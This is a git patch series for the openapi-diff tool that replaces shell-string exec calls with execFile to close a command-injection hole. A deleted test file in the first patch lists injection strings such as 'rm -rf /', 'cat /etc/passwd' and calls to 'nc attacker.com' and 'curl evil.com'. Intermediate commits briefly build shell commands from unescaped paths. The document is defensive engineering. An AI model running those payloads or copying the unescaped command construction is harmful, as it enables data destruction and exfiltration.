From 5721a51f5fa0f96823c3da617792ec9c09316532 Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Sat, 30 Aug 2025 00:41:45 +0000 Subject: [PATCH 01/14] Revert "openapi-diff: fixed issue reported by CodeQL (#358)" This reverts commit 41c3493cc8352632d18d41d504df475be3c10212. --- package-lock.json | 20 ------ package.json | 1 - src/lib/validators/openApiDiff.ts | 40 +++-------- src/test/shellEscapingTest.ts | 116 ------------------------------ 4 files changed, 10 insertions(+), 167 deletions(-) delete mode 100644 src/test/shellEscapingTest.ts diff --git a/package-lock.json b/package-lock.json index f67b4103..03694d46 100644 --- a/package-lock.json +++ b/package-lock.json @@ -25,7 +25,6 @@ "lodash": "^4.17.21", "minimist": "^1.2.8", "set-value": "^4.1.0", - "shell-quote": "^1.8.3", "source-map": "^0.7.4", "tslib": "^2.6.3", "winston": "^3.13.0", @@ -1492,13 +1491,6 @@ "undici-types": "~6.21.0" } }, - "node_modules/@types/shell-quote": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/@types/shell-quote/-/shell-quote-1.7.5.tgz", - "integrity": "sha512-+UE8GAGRPbJVQDdxi16dgadcBfQ+KG2vgZhV1+3A1XmHbmwcdwhCUwIdy+d3pAGrbvgRoVSjeI9vOWyq376Yzw==", - "dev": true, - "license": "MIT" - }, "node_modules/@types/stack-utils": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", @@ -5579,18 +5571,6 @@ "node": ">=8" } }, - "node_modules/shell-quote": { - "version": "1.8.3", - "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz", - "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, "node_modules/side-channel": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", diff --git a/package.json b/package.json index be7825d3..11f2017e 100644 --- a/package.json +++ b/package.json @@ -25,7 +25,6 @@ "lodash": "^4.17.21", "minimist": "^1.2.8", "set-value": "^4.1.0", - "shell-quote": "^1.8.3", "source-map": "^0.7.4", "tslib": "^2.6.3", "winston": "^3.13.0", diff --git a/src/lib/validators/openApiDiff.ts b/src/lib/validators/openApiDiff.ts index 24197078..145b0e3e 100644 --- a/src/lib/validators/openApiDiff.ts +++ b/src/lib/validators/openApiDiff.ts @@ -10,7 +10,6 @@ import JSON_Pointer from "json-pointer" import * as jsonRefs from "json-refs" import * as os from "os" import * as path from "path" -import { quote } from "shell-quote" import * as sourceMap from "source-map" import * as util from "util" import { log } from "../util/logging" @@ -83,26 +82,8 @@ const updateChangeProperties = (change: ChangeProperties, pf: ProcessedFile): Ch } } -/** - * Safely escapes shell arguments for cross-platform compatibility - * @param arg The argument to escape - * @returns The safely escaped argument - */ -function escapeShellArg(arg: string): string { - if (typeof arg !== "string") { - throw new Error("Argument must be a string") - } - - if (process.platform === "win32") { - // For Windows cmd.exe, wrap in double quotes and escape internal quotes - // This handles paths with spaces and special characters safely - // Double quotes are escaped by doubling them in Windows - return `"${arg.replace(/"/g, '""')}"` - } else { - // On Unix-like systems, use shell-quote for proper escaping - // shell-quote handles all edge cases including spaces, special chars, etc. - return quote([arg]) - } +function escape(filePath: string) { + return `"${filePath}"` } /** @@ -177,7 +158,7 @@ export class OpenApiDiff { const result = path.join(__dirname, "..", "..", "..", "node_modules", "autorest", "dist", "app.js") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return `node ${escapeShellArg(result)}` + return `node ${escape(result)}` } } @@ -186,7 +167,7 @@ export class OpenApiDiff { const result = path.join(__dirname, "..", "..", "..", "..", "..", "autorest", "dist", "app.js") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return `node ${escapeShellArg(result)}` + return `node ${escape(result)}` } } @@ -195,7 +176,7 @@ export class OpenApiDiff { const result = path.resolve("node_modules/.bin/autorest") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return escapeShellArg(result) + return escape(result) } } @@ -211,7 +192,7 @@ export class OpenApiDiff { public openApiDiffDllPath(): string { log.silly(`openApiDiffDllPath is being called`) - return escapeShellArg(path.join(__dirname, "..", "..", "..", "dlls", "OpenApiDiff.dll")) + return escape(path.join(__dirname, "..", "..", "..", "dlls", "OpenApiDiff.dll")) } /** @@ -250,12 +231,11 @@ export class OpenApiDiff { const outputFolder = await fs.promises.mkdtemp(path.join(os.tmpdir(), "oad-")) const outputFilePath = path.join(outputFolder, `${outputFileName}.json`) const outputMapFilePath = path.join(outputFolder, `${outputFileName}.map`) - // Cross-platform shell argument escaping - behavior is validated in shellEscapingTest.ts const autoRestCmd = tagName - ? `${this.autoRestPath()} ${escapeShellArg(swaggerPath)} --v2 --tag=${escapeShellArg(tagName)} --output-artifact=swagger-document.json` + - ` --output-artifact=swagger-document.map --output-file=${escapeShellArg(outputFileName)} --output-folder=${escapeShellArg(outputFolder)}` - : `${this.autoRestPath()} --v2 --input-file=${escapeShellArg(swaggerPath)} --output-artifact=swagger-document.json` + - ` --output-artifact=swagger-document.map --output-file=${escapeShellArg(outputFileName)} --output-folder=${escapeShellArg(outputFolder)}` + ? `${this.autoRestPath()} ${swaggerPath} --v2 --tag=${tagName} --output-artifact=swagger-document.json` + + ` --output-artifact=swagger-document.map --output-file=${outputFileName} --output-folder=${outputFolder}` + : `${this.autoRestPath()} --v2 --input-file=${swaggerPath} --output-artifact=swagger-document.json` + + ` --output-artifact=swagger-document.map --output-file=${outputFileName} --output-folder=${outputFolder}` log.debug(`Executing: "${autoRestCmd}"`) diff --git a/src/test/shellEscapingTest.ts b/src/test/shellEscapingTest.ts deleted file mode 100644 index 74ca5314..00000000 --- a/src/test/shellEscapingTest.ts +++ /dev/null @@ -1,116 +0,0 @@ -import * as assert from "assert" -import { quote } from "shell-quote" - -// Test the shell-quote library integration to ensure our security fix works correctly -test("shell escaping with quote function", () => { - // Test normal filenames (should not be escaped) - const normalFile = "simple-file.json" - const escapedNormal = quote([normalFile]) - assert.strictEqual(escapedNormal, normalFile) - - // Test filenames with spaces (should be quoted) - const fileWithSpaces = "file with spaces.json" - const escapedSpaces = quote([fileWithSpaces]) - assert.strictEqual(escapedSpaces, "'file with spaces.json'") - - // Test dangerous shell metacharacters (should be escaped) - const dangerousFile = "file;with&dangerous|chars$.json" - const escapedDangerous = quote([dangerousFile]) - // shell-quote uses backslash escaping for certain characters - assert.ok(escapedDangerous.includes("\\;")) - assert.ok(escapedDangerous.includes("\\&")) - assert.ok(escapedDangerous.includes("\\|")) - assert.ok(escapedDangerous.includes("\\$")) -}) - -test("autorest command construction with dangerous inputs", () => { - // Simulate the command construction logic from processViaAutoRest - const autoRestPath = "/usr/bin/autorest" - - // Test with dangerous file paths - const dangerousSwaggerPath = "/tmp/file;rm -rf /.json" - const dangerousOutputFile = "output;evil&command" - const dangerousTag = "tag$(evil)" - - // Build command like in processViaAutoRest with escaping - const autoRestCmd = - autoRestPath + - " " + - quote([dangerousSwaggerPath]) + - " --v2 --tag=" + - quote([dangerousTag]) + - " --output-artifact=swagger-document.json --output-artifact=swagger-document.map --output-file=" + - quote([dangerousOutputFile]) - - // Verify that dangerous parts are properly escaped/quoted - // Files with spaces get quoted, dangerous chars get backslash-escaped - assert.ok(autoRestCmd.includes("'/tmp/file;rm -rf /.json'")) // quoted because of spaces - assert.ok(autoRestCmd.includes("output\\;evil\\&command")) // backslash-escaped - assert.ok(autoRestCmd.includes("tag\\$\\(evil\\)")) // backslash-escaped - - // Verify that the command structure is maintained - assert.ok(autoRestCmd.includes("--v2")) - assert.ok(autoRestCmd.includes("--tag=")) - assert.ok(autoRestCmd.includes("--output-file=")) -}) - -test("autorest command construction without tag", () => { - const autoRestPath = "/usr/bin/autorest" - const swaggerPath = "/tmp/test file.json" - const outputFile = "output file" - const outputFolder = "/tmp/output folder" - - // Build command without tag (different structure) - const autoRestCmd = - `${autoRestPath} --v2 --input-file=${quote([swaggerPath])} --output-artifact=swagger-document.json` + - ` --output-artifact=swagger-document.map --output-file=${quote([outputFile])} --output-folder=${quote([outputFolder])}` - - // Verify correct command structure for non-tagged case - assert.ok(autoRestCmd.includes("--input-file=")) - assert.ok(!autoRestCmd.includes("--tag=")) - assert.ok(autoRestCmd.includes("--v2")) - - // Verify spaces are properly quoted - assert.ok(autoRestCmd.includes("'/tmp/test file.json'")) - assert.ok(autoRestCmd.includes("'output file'")) - assert.ok(autoRestCmd.includes("'/tmp/output folder'")) -}) - -test("command injection prevention", () => { - // Test various command injection attempts - const injectionAttempts = [ - "file.json; rm -rf /", - "file.json && cat /etc/passwd", - "file.json | nc attacker.com 1234", - "file.json $(curl evil.com)", - "file.json `wget malware.com`", - "file.json & background-evil-command" - ] - - injectionAttempts.forEach(attempt => { - const escaped = quote([attempt]) - // Verify that the dangerous parts cannot be executed as separate commands - // They should either be quoted or have dangerous chars escaped - const hasDangerousUnescaped = /[^\\][;&|$`]/.test(escaped) && !escaped.includes("'") - assert.ok(!hasDangerousUnescaped, `Injection attempt not properly escaped: ${attempt} -> ${escaped}`) - }) -}) - -test("edge cases and special characters", () => { - // Test empty string - assert.strictEqual(quote([""]), "''") - - // Test string with only spaces - assert.strictEqual(quote([" "]), "' '") - - // Test string with newlines - const withNewlines = "file\nwith\nnewlines.json" - const escapedNewlines = quote([withNewlines]) - // Should be safely handled - assert.ok(typeof escapedNewlines === "string") - - // Test unicode and special chars - const unicodeFile = "файл.json" - const escapedUnicode = quote([unicodeFile]) - assert.ok(escapedUnicode.includes("файл")) -}) From 57f559433f1c2814e3849de88e3f647ee66bcaff Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Sat, 30 Aug 2025 00:43:44 +0000 Subject: [PATCH 02/14] remove types/shell-quote --- package-lock.json | 1 - package.json | 1 - 2 files changed, 2 deletions(-) diff --git a/package-lock.json b/package-lock.json index 03694d46..b9ecde2d 100644 --- a/package-lock.json +++ b/package-lock.json @@ -41,7 +41,6 @@ "@types/js-yaml": "^3.12.1", "@types/json-pointer": "^1.0.30", "@types/node": "^20.0.0", - "@types/shell-quote": "^1.7.5", "@types/yargs": "^13.0.0", "eslint": "^8.57.0", "jest": "^29.7.0", diff --git a/package.json b/package.json index 11f2017e..45801875 100644 --- a/package.json +++ b/package.json @@ -38,7 +38,6 @@ "@types/js-yaml": "^3.12.1", "@types/json-pointer": "^1.0.30", "@types/node": "^20.0.0", - "@types/shell-quote": "^1.7.5", "@types/yargs": "^13.0.0", "eslint": "^8.57.0", "jest": "^29.7.0", From c5a729a034d894fca8c63d84a459d004af1ab23b Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Sat, 30 Aug 2025 00:44:58 +0000 Subject: [PATCH 03/14] Revert "fix adding enum value & command line exception (#255)" This reverts commit 000f1f77b8fbf253bc6f527bf587138ae15dee25. --- .../SwaggerModelerCompareTests.cs | 2 +- .../modeler/AutoRest.Swagger/Model/SwaggerObject.cs | 5 ++++- src/lib/validators/openApiDiff.ts | 12 ++++-------- 3 files changed, 9 insertions(+), 10 deletions(-) diff --git a/openapi-diff/src/modeler/AutoRest.Swagger.Tests/SwaggerModelerCompareTests.cs b/openapi-diff/src/modeler/AutoRest.Swagger.Tests/SwaggerModelerCompareTests.cs index 37620bf2..9fe4818f 100644 --- a/openapi-diff/src/modeler/AutoRest.Swagger.Tests/SwaggerModelerCompareTests.cs +++ b/openapi-diff/src/modeler/AutoRest.Swagger.Tests/SwaggerModelerCompareTests.cs @@ -897,7 +897,7 @@ public void CommonParameterWithRef() public void XmsEnumModelAsString() { var messages = CompareSwagger("enum_as_string.json").ToArray(); - Assert.Equal(2,messages.Where(m => m.Id == ComparisonMessages.AddedEnumValue.Id).ToList().Count()); + Assert.Empty(messages.Where(m => m.Id == ComparisonMessages.AddedEnumValue.Id)); } [Fact] diff --git a/openapi-diff/src/modeler/AutoRest.Swagger/Model/SwaggerObject.cs b/openapi-diff/src/modeler/AutoRest.Swagger/Model/SwaggerObject.cs index 0273effb..b8efdb9a 100644 --- a/openapi-diff/src/modeler/AutoRest.Swagger/Model/SwaggerObject.cs +++ b/openapi-diff/src/modeler/AutoRest.Swagger/Model/SwaggerObject.cs @@ -187,6 +187,7 @@ private void CompareEnums(ComparisonContext context, T prior) CompareXmsEnum(context,prior); bool relaxes = (prior.Enum != null && this.Enum == null); bool constrains = (prior.Enum == null && this.Enum != null); + bool isEnumModelAsString = (this.XmsEnum != null && this.XmsEnum.ModelAsString == true); if (!relaxes && !constrains) { // It was enum and it is still enum i.e check for addition/removal @@ -212,7 +213,9 @@ private void CompareEnums(ComparisonContext context, T prior) IEnumerable addedEnums = this.Enum.Except(prior.Enum); if (addedEnums.Any()) { - context.LogBreakingChange(ComparisonMessages.AddedEnumValue, String.Join(", ", addedEnums.ToList())); + if (!isEnumModelAsString) { + context.LogBreakingChange(ComparisonMessages.AddedEnumValue, String.Join(", ", addedEnums.ToList())); + } } } } diff --git a/src/lib/validators/openApiDiff.ts b/src/lib/validators/openApiDiff.ts index 145b0e3e..f95743d9 100644 --- a/src/lib/validators/openApiDiff.ts +++ b/src/lib/validators/openApiDiff.ts @@ -82,10 +82,6 @@ const updateChangeProperties = (change: ChangeProperties, pf: ProcessedFile): Ch } } -function escape(filePath: string) { - return `"${filePath}"` -} - /** * @class * Open API Diff class. @@ -158,7 +154,7 @@ export class OpenApiDiff { const result = path.join(__dirname, "..", "..", "..", "node_modules", "autorest", "dist", "app.js") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return `node ${escape(result)}` + return `node ${result}` } } @@ -167,7 +163,7 @@ export class OpenApiDiff { const result = path.join(__dirname, "..", "..", "..", "..", "..", "autorest", "dist", "app.js") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return `node ${escape(result)}` + return `node ${result}` } } @@ -176,7 +172,7 @@ export class OpenApiDiff { const result = path.resolve("node_modules/.bin/autorest") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return escape(result) + return result } } @@ -192,7 +188,7 @@ export class OpenApiDiff { public openApiDiffDllPath(): string { log.silly(`openApiDiffDllPath is being called`) - return escape(path.join(__dirname, "..", "..", "..", "dlls", "OpenApiDiff.dll")) + return path.join(__dirname, "..", "..", "..", "dlls", "OpenApiDiff.dll") } /** From c33a445a7708556f4466da6aff87512af7d35ebe Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Sat, 30 Aug 2025 00:47:41 +0000 Subject: [PATCH 04/14] restore cs files --- .../AutoRest.Swagger.Tests/SwaggerModelerCompareTests.cs | 2 +- .../src/modeler/AutoRest.Swagger/Model/SwaggerObject.cs | 5 +---- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/openapi-diff/src/modeler/AutoRest.Swagger.Tests/SwaggerModelerCompareTests.cs b/openapi-diff/src/modeler/AutoRest.Swagger.Tests/SwaggerModelerCompareTests.cs index 9fe4818f..37620bf2 100644 --- a/openapi-diff/src/modeler/AutoRest.Swagger.Tests/SwaggerModelerCompareTests.cs +++ b/openapi-diff/src/modeler/AutoRest.Swagger.Tests/SwaggerModelerCompareTests.cs @@ -897,7 +897,7 @@ public void CommonParameterWithRef() public void XmsEnumModelAsString() { var messages = CompareSwagger("enum_as_string.json").ToArray(); - Assert.Empty(messages.Where(m => m.Id == ComparisonMessages.AddedEnumValue.Id)); + Assert.Equal(2,messages.Where(m => m.Id == ComparisonMessages.AddedEnumValue.Id).ToList().Count()); } [Fact] diff --git a/openapi-diff/src/modeler/AutoRest.Swagger/Model/SwaggerObject.cs b/openapi-diff/src/modeler/AutoRest.Swagger/Model/SwaggerObject.cs index b8efdb9a..0273effb 100644 --- a/openapi-diff/src/modeler/AutoRest.Swagger/Model/SwaggerObject.cs +++ b/openapi-diff/src/modeler/AutoRest.Swagger/Model/SwaggerObject.cs @@ -187,7 +187,6 @@ private void CompareEnums(ComparisonContext context, T prior) CompareXmsEnum(context,prior); bool relaxes = (prior.Enum != null && this.Enum == null); bool constrains = (prior.Enum == null && this.Enum != null); - bool isEnumModelAsString = (this.XmsEnum != null && this.XmsEnum.ModelAsString == true); if (!relaxes && !constrains) { // It was enum and it is still enum i.e check for addition/removal @@ -213,9 +212,7 @@ private void CompareEnums(ComparisonContext context, T prior) IEnumerable addedEnums = this.Enum.Except(prior.Enum); if (addedEnums.Any()) { - if (!isEnumModelAsString) { - context.LogBreakingChange(ComparisonMessages.AddedEnumValue, String.Join(", ", addedEnums.ToList())); - } + context.LogBreakingChange(ComparisonMessages.AddedEnumValue, String.Join(", ", addedEnums.ToList())); } } } From 93005b0b852c48952f91c89a9d58c742b8714fb1 Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Sat, 30 Aug 2025 00:49:36 +0000 Subject: [PATCH 05/14] remove unused import --- src/lib/validators/openApiDiff.ts | 1 - 1 file changed, 1 deletion(-) diff --git a/src/lib/validators/openApiDiff.ts b/src/lib/validators/openApiDiff.ts index f95743d9..123b292a 100644 --- a/src/lib/validators/openApiDiff.ts +++ b/src/lib/validators/openApiDiff.ts @@ -2,7 +2,6 @@ // Licensed under the MIT License. See License.txt in the project root for license information. import * as asyncFs from "@ts-common/fs" -import * as jsonParser from "@ts-common/json-parser" import { getFilePosition } from "@ts-common/source-map" import * as child_process from "child_process" import * as fs from "fs" From b3af0db678c3a3b8e682103f08f913cdafdb3ab0 Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Sat, 30 Aug 2025 01:15:32 +0000 Subject: [PATCH 06/14] [openApiDiff.ts] Replace exec with execFile --- src/lib/validators/openApiDiff.ts | 39 ++++++++++++++++++------------- 1 file changed, 23 insertions(+), 16 deletions(-) diff --git a/src/lib/validators/openApiDiff.ts b/src/lib/validators/openApiDiff.ts index 123b292a..14eef6c7 100644 --- a/src/lib/validators/openApiDiff.ts +++ b/src/lib/validators/openApiDiff.ts @@ -16,7 +16,7 @@ import { ResolveSwagger } from "../util/resolveSwagger" import { pathToJsonPointer } from "../util/utils" const _ = require("lodash") -const exec = util.promisify(child_process.exec) +const execFile = util.promisify(child_process.execFile) export type Options = { readonly consoleLogLevel?: unknown @@ -141,19 +141,19 @@ export class OpenApiDiff { } /** - * Gets path to the autorest application. + * Gets file and args to the autorest application. * - * @returns {string} Path to the autorest app.js file. + * @returns {{file: string, args: string[]}} File and args to the autorest app.js file. */ - public autoRestPath(): string { - log.silly(`autoRestPath is being called`) + public autoRestFileArgs(): { file: string; args: string[] } { + log.silly(`autoRestFileArgs is being called`) // When oad is installed globally { const result = path.join(__dirname, "..", "..", "..", "node_modules", "autorest", "dist", "app.js") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return `node ${result}` + return { file: "node", args: [result] } } } @@ -162,7 +162,7 @@ export class OpenApiDiff { const result = path.join(__dirname, "..", "..", "..", "..", "..", "autorest", "dist", "app.js") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return `node ${result}` + return { file: "node", args: [result] } } } @@ -171,12 +171,12 @@ export class OpenApiDiff { const result = path.resolve("node_modules/.bin/autorest") if (fs.existsSync(result)) { log.silly(`Found autoRest:${result} `) - return result + return { file: result, args: [] } } } // Assume that autorest is in the path - return "autorest" + return { file: "autorest", args: [] } } /** @@ -226,15 +226,22 @@ export class OpenApiDiff { const outputFolder = await fs.promises.mkdtemp(path.join(os.tmpdir(), "oad-")) const outputFilePath = path.join(outputFolder, `${outputFileName}.json`) const outputMapFilePath = path.join(outputFolder, `${outputFileName}.map`) - const autoRestCmd = tagName - ? `${this.autoRestPath()} ${swaggerPath} --v2 --tag=${tagName} --output-artifact=swagger-document.json` + - ` --output-artifact=swagger-document.map --output-file=${outputFileName} --output-folder=${outputFolder}` - : `${this.autoRestPath()} --v2 --input-file=${swaggerPath} --output-artifact=swagger-document.json` + - ` --output-artifact=swagger-document.map --output-file=${outputFileName} --output-folder=${outputFolder}` - log.debug(`Executing: "${autoRestCmd}"`) + const { file: autoRestFile, args: autoRestArgs } = this.autoRestFileArgs() - const { stderr } = await exec(autoRestCmd, { + const swaggerArgs = tagName ? [swaggerPath, `--tag=${tagName}`] : [`--input-file=${swaggerPath}`] + + const commonArgs = [ + "--v2", + "--output-artifact=swagger-document.json", + "--output-artifact=swagger-document.map", + "--output-file=${outputFileName}", + "--output-folder=${outputFolder}" + ] + + log.debug(`Executing: "${autoRestFile} ${swaggerArgs.join(" ")} ${commonArgs.join(" ")}"`) + + const { stderr } = await execFile(autoRestFile, [...autoRestArgs, ...swaggerArgs, ...commonArgs], { encoding: "utf8", maxBuffer: 1024 * 1024 * 64, env: { ...process.env, NODE_OPTIONS: "--max-old-space-size=8192" } From 20a928c88ccba1ddcca01e22310e974fe69aae10 Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Sat, 30 Aug 2025 01:18:23 +0000 Subject: [PATCH 07/14] execFile() for .NET --- src/lib/validators/openApiDiff.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/lib/validators/openApiDiff.ts b/src/lib/validators/openApiDiff.ts index 14eef6c7..e11546ea 100644 --- a/src/lib/validators/openApiDiff.ts +++ b/src/lib/validators/openApiDiff.ts @@ -301,10 +301,10 @@ export class OpenApiDiff { throw new Error(`File "${newSwagger}" not found.`) } - const cmd = `${this.dotNetPath()} ${this.openApiDiffDllPath()} -o ${oldSwagger} -n ${newSwagger}` + const [file, args] = [this.dotNetPath(), [this.openApiDiffDllPath(), "-o", oldSwagger, "-n", newSwagger]] - log.debug(`Executing: "${cmd}"`) - const { stdout } = await exec(cmd, { encoding: "utf8", maxBuffer: 1024 * 1024 * 64 }) + log.debug(`Executing: "${file} ${args.join(" ")}"`) + const { stdout } = await execFile(file, args, { encoding: "utf8", maxBuffer: 1024 * 1024 * 64 }) const resultJson = JSON.parse(stdout) as Messages const updatedJson = resultJson.map(message => ({ From 933666167ea73990017179f0b6702267d7b9aab3 Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Sat, 30 Aug 2025 01:23:14 +0000 Subject: [PATCH 08/14] fix string interpolation --- src/lib/validators/openApiDiff.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/lib/validators/openApiDiff.ts b/src/lib/validators/openApiDiff.ts index e11546ea..56cc3d01 100644 --- a/src/lib/validators/openApiDiff.ts +++ b/src/lib/validators/openApiDiff.ts @@ -235,8 +235,8 @@ export class OpenApiDiff { "--v2", "--output-artifact=swagger-document.json", "--output-artifact=swagger-document.map", - "--output-file=${outputFileName}", - "--output-folder=${outputFolder}" + `--output-file=${outputFileName}`, + `--output-folder=${outputFolder}` ] log.debug(`Executing: "${autoRestFile} ${swaggerArgs.join(" ")} ${commonArgs.join(" ")}"`) From 168d4ab02dabffff8a0e164866e4e4339b0f19b9 Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Sat, 30 Aug 2025 01:26:04 +0000 Subject: [PATCH 09/14] add autorestArgs to log --- src/lib/validators/openApiDiff.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/lib/validators/openApiDiff.ts b/src/lib/validators/openApiDiff.ts index 56cc3d01..0f416cdb 100644 --- a/src/lib/validators/openApiDiff.ts +++ b/src/lib/validators/openApiDiff.ts @@ -239,7 +239,7 @@ export class OpenApiDiff { `--output-folder=${outputFolder}` ] - log.debug(`Executing: "${autoRestFile} ${swaggerArgs.join(" ")} ${commonArgs.join(" ")}"`) + log.debug(`Executing: "${autoRestFile} ${autoRestArgs.join(" ")} ${swaggerArgs.join(" ")} ${commonArgs.join(" ")}"`) const { stderr } = await execFile(autoRestFile, [...autoRestArgs, ...swaggerArgs, ...commonArgs], { encoding: "utf8", From 85d31aadb30448fef4b99050f79acfe08b61adf3 Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Sat, 30 Aug 2025 01:27:16 +0000 Subject: [PATCH 10/14] var for args --- src/lib/validators/openApiDiff.ts | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/lib/validators/openApiDiff.ts b/src/lib/validators/openApiDiff.ts index 0f416cdb..a1116f41 100644 --- a/src/lib/validators/openApiDiff.ts +++ b/src/lib/validators/openApiDiff.ts @@ -239,9 +239,11 @@ export class OpenApiDiff { `--output-folder=${outputFolder}` ] - log.debug(`Executing: "${autoRestFile} ${autoRestArgs.join(" ")} ${swaggerArgs.join(" ")} ${commonArgs.join(" ")}"`) + const args = [...autoRestArgs, ...swaggerArgs, ...commonArgs] - const { stderr } = await execFile(autoRestFile, [...autoRestArgs, ...swaggerArgs, ...commonArgs], { + log.debug(`Executing: "${autoRestFile} ${args.join(" ")}"`) + + const { stderr } = await execFile(autoRestFile, args, { encoding: "utf8", maxBuffer: 1024 * 1024 * 64, env: { ...process.env, NODE_OPTIONS: "--max-old-space-size=8192" } From 0e183e5d21f6c5ae372466a0474409723d226c9c Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Sat, 30 Aug 2025 01:29:46 +0000 Subject: [PATCH 11/14] update changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index b7eff28f..2f02a9e7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ ## 0.12.0 2025-08-29 - replaced dependency 'request' with built-in fetch() API +- replaced child_process.exec with child_proces.execFile - require Node >= 20 ## 0.11.0 2025-08-11 From 38d111719626b8a354b097d068f83d691e6b3867 Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Fri, 29 Aug 2025 18:38:01 -0700 Subject: [PATCH 12/14] Update CHANGELOG.md --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2f02a9e7..19967daa 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,7 @@ ## 0.12.0 2025-08-29 - replaced dependency 'request' with built-in fetch() API -- replaced child_process.exec with child_proces.execFile +- replaced child_process.exec() with execFile() - require Node >= 20 ## 0.11.0 2025-08-11 From 1f52c09847001d4a91115a138f683de56a15a279 Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Fri, 29 Aug 2025 22:02:45 -0700 Subject: [PATCH 13/14] Update src/lib/validators/openApiDiff.ts Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- src/lib/validators/openApiDiff.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/lib/validators/openApiDiff.ts b/src/lib/validators/openApiDiff.ts index a1116f41..e71efee5 100644 --- a/src/lib/validators/openApiDiff.ts +++ b/src/lib/validators/openApiDiff.ts @@ -143,7 +143,7 @@ export class OpenApiDiff { /** * Gets file and args to the autorest application. * - * @returns {{file: string, args: string[]}} File and args to the autorest app.js file. + * @returns {{ file: string; args: string[] }} File and args to the autorest app.js file. */ public autoRestFileArgs(): { file: string; args: string[] } { log.silly(`autoRestFileArgs is being called`) From 44acbce089861eb520fe82dbd46d68db6b41e5dc Mon Sep 17 00:00:00 2001 From: Mike Harder Date: Fri, 29 Aug 2025 22:04:04 -0700 Subject: [PATCH 14/14] Update src/lib/validators/openApiDiff.ts Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- src/lib/validators/openApiDiff.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/lib/validators/openApiDiff.ts b/src/lib/validators/openApiDiff.ts index e71efee5..21d5d70c 100644 --- a/src/lib/validators/openApiDiff.ts +++ b/src/lib/validators/openApiDiff.ts @@ -303,7 +303,8 @@ export class OpenApiDiff { throw new Error(`File "${newSwagger}" not found.`) } - const [file, args] = [this.dotNetPath(), [this.openApiDiffDllPath(), "-o", oldSwagger, "-n", newSwagger]] + const file = this.dotNetPath() + const args = [this.openApiDiffDllPath(), "-o", oldSwagger, "-n", newSwagger] log.debug(`Executing: "${file} ${args.join(" ")}"`) const { stdout } = await execFile(file, args, { encoding: "utf8", maxBuffer: 1024 * 1024 * 64 })